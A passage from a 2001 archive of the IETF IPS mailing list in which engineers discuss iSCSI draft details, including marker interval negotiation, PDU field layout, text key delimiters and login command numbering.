majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CLULS14574 for ips-outgoing; Wed, 12 Sep 2001 17:30:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CLUGP14568 for ; Wed, 12 Sep 2001 17:30:16 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id XAA39786 for ; Wed, 12 Sep 2001 23:30:05 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8CLU43143424 for ; Wed, 12 Sep 2001 23:30:04 +0200 Importance: Normal Subject: Re: iSCSI: Marker Intervals To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 13 Sep 2001 00:29:14 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 13/09/2001 00:30:04 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Barry, Sorry - even here an interval is not negotiated but it may create confusion. I've added a dependency (must appear together). The part in appending reads: 01 RFMarkInt Use: IO Who can send: Initiator and Target RFMarkInt=[,] This is a connection specific parameter. The receiver indicates the minimum to maximum interval (in 4-byte words) the receiver wants the markers. In case the receiver wants only a specific value, only a single value has to be specified. The sender selects a value within the minimum and maximum the receiver requires (or the only value the receiver requires) or indicates through the FMarker key=value its inability to set markers. The interval is measured from the end of a marker to the beginning of the next marker. For example, a value of 1024 means 1024 words (4096 bytes of "pure" payload between markers). Whenever FMarker and RFMarkInt are both sent they MUST appear on the same Login Request/Response. Default is 2048. "Barry Reinhold" on 11-09-2001 18:27:45 Please respond to "Barry Reinhold" To: Julian Satran/Haifa/IBM@IBMIL cc: "ISCSI" Subject: iSCSI: Marker Intervals Ok, If there is not a concept of a range how do I handle the syntax of RFMarkInt as defined in item 20 in appendix D. This syntax is given as: RFMarkInt=[,-----Original Message----- >From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of >Julian Satran >Sent: Saturday, September 08, 2001 4:58 AM >To: Barry Reinhold >Cc: ISCSI >Subject: Re: Marker negotiation > > > >Barry, > >I was not aware that we allow ranges - only individual values. The range >in the examples are there to indicate a possible range for the value and >for each key there is a selection rule (usually the lower or higher). > >Julo > >"Barry Reinhold" on 06-09-2001 19:43:54 > >Please respond to "Barry Reinhold" > >To: Julian Satran/Haifa/IBM@IBMIL >cc: "ISCSI" >Subject: Marker negotiation > > > >Julain, > If doing a numerical negotiation - such as for marker intervals - if a >range is offered that is not liked what is the responder expected to do? >Numerical negotiations don't allow for selection of values out of range. > >Example: > >I -> FMarker=send-receive >T -> FMarker=send-receive >I -> RFMarkint=1,12 >T -> doesn't want anything below 1024. What does he do? > >Barry Reinhold >Principal Architect >Trebia Networks >barry.reinhold@trebia.com >603-868-5144/603-659-0885/978-929-0830 x138 > > > > From owner-ips@ece.cmu.edu Wed Sep 12 19:32:19 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA05457 for ; Wed, 12 Sep 2001 19:32:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CMGbu17489 for ips-outgoing; Wed, 12 Sep 2001 18:16:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CMGYP17483 for ; Wed, 12 Sep 2001 18:16:35 -0400 (EDT) Received: from ahganemw2k (dhcp-161-44-68-109.cisco.com [161.44.68.109]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id SAA01868 for ; Wed, 12 Sep 2001 18:16:29 -0400 (EDT) From: "Ayman Ghanem" To: Subject: RE: iSCSI: PDU formats Date: Wed, 12 Sep 2001 17:15:39 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I agree with 1 and 2, but I still prefer to overlap Status-Detail with the T/C/CNxSG in the same byte for the same reason behind changes 1 and 2. Both fields provide login response status details, with meaning interpreted differently based on the Status-Class. -Ayman > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Robert D. Russell > Sent: Wednesday, September 12, 2001 9:44 AM > To: Julian Satran > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI: PDU formats > > > Julian: > > I would like to request 3 small changes in the format of some of > the PDUs. One of the design features that you have employed > very successfully to date is to have a given field, such as the > "Initiator Task Tag" for example, always appear in the same position > (bytes 16-19) in any PDU in which it appears. This makes it easy > to understand, to implement, and to debug. However, a few small > inconsistencies in the application of this design principle have > crept in with draft 7, and I would like to propose that we fix them. > > 1. In draft 6 the SCSI Response PDU had one Status/Response field > in byte 3 -- in draft 7-90 it now has a Status field in byte 2 > and a Response field in byte 3. In draft 6 the Data-in PDU also > had a Status field in byte 3, and in draft 7-90 it is still in > byte 3, with byte 2 unused (reserved). Would you please either: > > a. Reorder the bytes in the SCSI Response PDU so that > the Status > field will be in byte 3 (so it is consistent with > the Data-in > PDU) and the Response field will be in byte 2; or > > b. Move the status field in the Data-in PDU from byte > 3 to byte 2 > (so it remains consistent with the SCSI Response PDU). > > I would prefer alternative a. because it would leave the Data-in > PDU unchanged for drafts 6, 7 and 8, and the SCSI Response PDU > has to change in any case. However, obviously either solution > would work. > > 2. In draft 7-90, a field called "Response" appears in 3 PDUs: > > a. In byte 36 of the Task Management Response PDU. > b. In byte 36 of the Logout Response PDU. > c. In byte 2 (if my request 1a above is taken) in the > SCSI Response PDU. This is clearly inconsistent > with a and b. > > Since bytes 2 and 3 are currently unused (reserved) in both > the Task Management Response PDU and the Logout Response PDU, > the simplest solution would be to move the "Response" field in > those 2 PDUs to byte 2 in order to be consistent with the SCSI > Response PDU. To keep the design clean, the new "Qualifier" field > in the Task Management Response PDU should probably also be > moved to byte 3. > > 3. In draft 7-90 the Login and Login Response PDUs have been modified > with the introduction of the T, C, and CNxSG fields in byte 37. > However, in the Login Response PDU these fields overlay the > Status-Detail field, which is also in byte 37. Although the way > to interpret this field is uniquely determined by the context, > it is context dependent and I believe that this will lead to a lot > of needless errors in coding, and that it also makes debugging more > difficult, because the use of this byte changes during the > login phase > exchanges. This means that you can't always look at it the > same way. > To avoid this overlay, would you please move the new fields > (T, C, and CNxSG) to one of the currently unused bytes. Many bytes > (2, 10-11, 20-23, 38-39, 40-47) are currently unused in > both of these > PDUs, so there would appear to be no urgent need to overlay the new > fields on top of an existing field in order to save space. > > Thanks, > > Bob Russell > InterOperability Lab > University of New Hampshire > rdr@iol.unh.edu > 603-862-3774 > > From owner-ips@ece.cmu.edu Wed Sep 12 19:40:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA05642 for ; Wed, 12 Sep 2001 19:40:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CMPvg18054 for ips-outgoing; Wed, 12 Sep 2001 18:25:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from va2mc.ummailbox.net (va2mc.ummailbox.net [64.210.247.23]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CMPkP18033 for ; Wed, 12 Sep 2001 18:25:51 -0400 (EDT) Received: from hqmailweb.COMMSTOR.Crossroads.com (HQMailWeb.Crossroads.com [63.237.99.250:25]) by va2mc.ummailbox.net with ESMTP id T0912-1825-018500; Wed, 12 Sep 2001 22:25:37 GMT Received: from HQMAILNODE1.COMMSTOR.Crossroads.com ([10.5.1.42]) by hqmailweb.COMMSTOR.Crossroads.com with Microsoft SMTPSVC(5.0.2195.2966); Wed, 12 Sep 2001 17:25:36 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: ISCSI: question about text command data Date: Wed, 12 Sep 2001 17:25:36 -0500 Message-ID: Thread-Topic: ISCSI: question about text command data Thread-Index: AcE72cN64JlUKZ5EEdWGwQDQt11lDQ== From: "Buck Landry" To: X-OriginalArrivalTime: 12 Sep 2001 22:25:36.0911 (UTC) FILETIME=[D87D31F0:01C13BD9] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8CMPuP18051 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit I have a small question about what separates the "key=value" pairs in the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 draft (2.10.5), it states: >>> Every key=value pair (including the last or only pair) MUST be followed by null (0x00) delimiter. <<< The question: is it legal to have *more* than one null char between key=value pairs? (no, I don't know why anybody would particularly want to do this.) Thanks, buck From owner-ips@ece.cmu.edu Wed Sep 12 19:47:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA05792 for ; Wed, 12 Sep 2001 19:47:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CM2tl16648 for ips-outgoing; Wed, 12 Sep 2001 18:02:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CM2rP16644 for ; Wed, 12 Sep 2001 18:02:53 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel1.hp.com (Postfix) with ESMTP id 8619EB75 for ; Wed, 12 Sep 2001 18:02:52 -0400 (EDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id PAA04027 for ; Wed, 12 Sep 2001 15:04:11 -0700 (PDT) Message-Id: <200109122204.PAA04027@core.rose.hp.com> Date: Wed, 12 Sep 2001 15:14:03 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI-countdown to new version References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian and Michael, > also, http://www.haifa.il.ibm.com/satran/ips/iscsi_states-rev08.pdf seems > broken. I posted the latest state transition diagrams for draft-08 to: http://storage-arch.hp.com/ Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Julian Satran wrote: > > Sorry - I always get wrong this URL :-) > > Julo > > "Michael J. S. Smith (PacBell)" on 08-09-2001 > 19:41:07 > > Please respond to "Michael J. S. Smith (PacBell)" > > To: Julian Satran/Haifa/IBM@IBMIL > cc: "Michael J. S. Smith (iReady)" > Subject: Re: iSCSI-countdown to new version > > Julo: Before you get flooded. That would be > http://www.haifa.il.ibm.com/satran/ips > > also, http://www.haifa.il.ibm.com/satran/ips/iscsi_states-rev08.pdf seems > broken. > > Thanks for the early post of the next revision. > > Michael Smith > iReady > > ----- Original Message ----- > From: "Julian Satran" > To: > Sent: Saturday, September 08, 2001 5:39 AM > Subject: iSCSI-countdown to new version > > > Dear colleagues,, > > > > I have posted 07-90.txt and 07-90.pdf on my site > > (http://www.haifa.il.ibm/satran/ips). > > The pdf file has "bar-marked" the changes (in addition to the change > log). > > > > The pdf file is produced with Acrobat 5.0 > > > > The files are a accumulative versions of the changes I've posted earlier > > plus editorials. > > It has also an Alias appendix. > > > > Aliases (that where here up to very early version) are now handled by T10 > > in the SCSI documents but the > > protocol documents are required to carry their specific formats. > > > > > > Julo > > > > From owner-ips@ece.cmu.edu Thu Sep 13 07:41:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA01045 for ; Thu, 13 Sep 2001 07:41:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8DA4U805757 for ips-outgoing; Thu, 13 Sep 2001 06:04:30 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8DA4EP05745 for ; Thu, 13 Sep 2001 06:04:15 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id MAA68914; Thu, 13 Sep 2001 12:04:03 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8DA3xV241332; Thu, 13 Sep 2001 12:04:00 +0200 Importance: Normal Subject: Re: iSCSI: Size of List in key=list in Text response (Rev 08) To: "Lakshmi Ramasubramanian" Cc: X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 13 Sep 2001 00:43:06 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 13/09/2001 13:04:02 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk yes - julo "Lakshmi Ramasubramanian" @ece.cmu.edu on 12-09-2001 00:20:53 Please respond to "Lakshmi Ramasubramanian" Sent by: owner-ips@ece.cmu.edu To: cc: Subject: iSCSI: Size of List in key=list in Text response (Rev 08) Section 2.10.5 says key values MUST NOT exceed 255 bytes. But there is no mention about any such restriction for the size of a List (Other than saying that the length of a text command or response cannot exceed 4096 bytes) So, can the size of a List be arbitrarily long (but within 4096 bytes)? Thanks! -lakshmi From owner-ips@ece.cmu.edu Thu Sep 13 14:16:12 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA12092 for ; Thu, 13 Sep 2001 14:16:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8DGF9w27012 for ips-outgoing; Thu, 13 Sep 2001 12:15:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8DGF7P27008 for ; Thu, 13 Sep 2001 12:15:07 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNKSH; Thu, 13 Sep 2001 12:15:01 -0400 Reply-To: From: "Eddy Quicksall" To: , Subject: RE: iSCSI-countdown to new version Date: Thu, 13 Sep 2001 12:14:42 -0400 Message-ID: <000601c13c6f$32b120b0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <200109122204.PAA04027@core.rose.hp.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Section 1.2.2.1 says: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards whether during login or in full-feature phase. But 2.12.2 says: Login MUST be issued as an immediate request (I=1) except for the first Login request (C=0) of the leading connection that MUST have I=0. Since all commands during login must have the I bit set, I believe 1.2.2.1 3rd line should read command issued afterwards in full-feature Am I correct? Eddy From owner-ips@ece.cmu.edu Thu Sep 13 15:50:47 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14317 for ; Thu, 13 Sep 2001 15:50:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8DHDhv00868 for ips-outgoing; Thu, 13 Sep 2001 13:13:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8DHDfP00863 for ; Thu, 13 Sep 2001 13:13:41 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNKSY; Thu, 13 Sep 2001 13:13:31 -0400 Reply-To: From: "Eddy Quicksall" To: "'BURBRIDGE,MATTHEW \(HP-UnitedKingdom,ex2\)'" , Cc: "Sanjay Goyal" , Subject: RE: iSCSI-countdown to new version Date: Thu, 13 Sep 2001 13:13:11 -0400 Message-ID: <000701c13c77$5e7168b0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <0B9A57FF1D57D411B47500D0B73E5CC101E7A8CF@dickens.bri.hp.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit So a correction is needed in 2.12.2. Also, if all other login phase PDUs MUST be immediate, Section 1.2.2.1 needs change because it clearly implies the opposite. Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 12:41 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Hi Eddy, IMO 2.12.2 is incorrect and the initial login command MUST be immediate as are all other login phase PDUs. Therefore 1.2.2.1 is correct. Cheers Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 5:15 PM To: julian_satran@il.ibm.com; ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version Section 1.2.2.1 says: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards whether during login or in full-feature phase. But 2.12.2 says: Login MUST be issued as an immediate request (I=1) except for the first Login request (C=0) of the leading connection that MUST have I=0. Since all commands during login must have the I bit set, I believe 1.2.2.1 3rd line should read command issued afterwards in full-feature Am I correct? Eddy From owner-ips@ece.cmu.edu Thu Sep 13 15:51:01 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14332 for ; Thu, 13 Sep 2001 15:51:01 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8DHXtc02275 for ips-outgoing; Thu, 13 Sep 2001 13:33:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8DHXmP02263 for ; Thu, 13 Sep 2001 13:33:48 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 610E81CB; Thu, 13 Sep 2001 19:34:06 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id SAA00379; Thu, 13 Sep 2001 18:33:31 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Thu, 13 Sep 2001 18:32:33 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 13 Sep 2001 18:32:33 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A8D4@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'eddy_quicksall@ivivity.com'" , ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version Date: Thu, 13 Sep 2001 18:33:30 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="windows-1252" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Eddy, The last part of the sentence was added just to highlight that if the first full feature phase commands were immediate then it does not increment the CmdSN. I would therefore proprose: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards including into the full feature phase. The first login must be immediate otherwise if it is queued and there is a missing PDU earlier in the command queue then the login will not get processed. If the login was for recovery we have stalemate! Cheers Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 6:25 PM To: 'BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)' Subject: RE: iSCSI-countdown to new version I'm not a good writer but I would write it as: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards. The reason it works better is because all login commands have to be immediate (with the correction you have stated). BTW, I thought the reason for the very first login to have the I = 0 was so hardware does not have to worry about the leading login and will just always advance CmdSN for the next Immediate command. Does Julian know the leading login is supposed to also be Immediate? Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 1:21 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Eddy, I think I may be missing something here: what would you suggest the wording to be? Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 6:17 PM To: 'BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)' Subject: RE: iSCSI-countdown to new version Because it says "afterwards whether during login". Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 1:16 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Hi Eddy, Why does 1.2.2.1 need modifying? Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 6:13 PM To: 'BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)'; julian_satran@il.ibm.com Cc: Sanjay Goyal; ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version So a correction is needed in 2.12.2. Also, if all other login phase PDUs MUST be immediate, Section 1.2.2.1 needs change because it clearly implies the opposite. Eddy -----Original Message----- From: BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2) [mailto:matthew_burbridge@hp.com] Sent: Thursday, September 13, 2001 12:41 PM To: 'eddy_quicksall@ivivity.com' Subject: RE: iSCSI-countdown to new version Hi Eddy, IMO 2.12.2 is incorrect and the initial login command MUST be immediate as are all other login phase PDUs. Therefore 1.2.2.1 is correct. Cheers Matthew -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 13, 2001 5:15 PM To: julian_satran@il.ibm.com; ips@ece.cmu.edu Subject: RE: iSCSI-countdown to new version Section 1.2.2.1 says: Command numbering starts with the login request on the first connection of a session (the leading login) and includes every non-immediate command issued afterwards whether during login or in full-feature phase. But 2.12.2 says: Login MUST be issued as an immediate request (I=1) except for the first Login request (C=0) of the leading connection that MUST have I=0. Since all commands during login must have the I bit set, I believe 1.2.2.1 3rd line should read command issued afterwards in full-feature Am I correct? Eddy From owner-ips@ece.cmu.edu Thu Sep 13 22:50:44 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA24958 for ; Thu, 13 Sep 2001 22:50:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8E0Vos29552 for ips-outgoing; Thu, 13 Sep 2001 20:31:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8E0VmP29547 for ; Thu, 13 Sep 2001 20:31:48 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id 38079B17 for ; Thu, 13 Sep 2001 17:31:44 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id RAA17222 for ; Thu, 13 Sep 2001 17:31:39 -0700 (PDT) Message-ID: <3BA15158.313CECF5@cup.hp.com> Date: Thu, 13 Sep 2001 17:37:45 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi : target port definition Content-Type: multipart/mixed; boundary="------------6EA969E8DD4BF71473CD934C" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------6EA969E8DD4BF71473CD934C Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, I have a question on the interpretation of the iscsi target port definition. The iscsi rev 08 defines the iscsi target port to map to an iscsi target portal group. Thus, any iscsi target that wishes to allow multiple SCSI paths to be established to the target node MUST provide at least 2 iscsi target portal groups. The above definition of an iscsi target port somewhat alters the semantics of a target portal group. A target portal group, by definition, is a collection of a set of network portals within the target across which a session can be spanned. Thus, if a target supports a multi-connection session spanning across all its network portals, such a target would use a single target portal group to indicate that 1 big fat session pipe could be established to all its network portals. This, in turn, would have the side effect of only providing 1 scsi path to the upper layer wedge drivers, if the iscsi initiators establish a session per target portal group. [which is the target port]. From an initiator's perspective, what should be the target side end-point of an initiator's sessions when it may need to support upper layer wedge drivers ? Should the initiator establish a session per target portal group [, in which case the above issue exists] ? Or, should it establish a session per TargetAddress ?? Regards, Santosh --------------6EA969E8DD4BF71473CD934C Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------6EA969E8DD4BF71473CD934C-- From owner-ips@ece.cmu.edu Fri Sep 14 09:59:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18010 for ; Fri, 14 Sep 2001 09:59:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ECXqG11209 for ips-outgoing; Fri, 14 Sep 2001 08:33:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ECXoP11205 for ; Fri, 14 Sep 2001 08:33:50 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id OAA83566 for ; Fri, 14 Sep 2001 14:33:37 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8ECXX3218442 for ; Fri, 14 Sep 2001 14:33:37 +0200 Importance: Normal To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 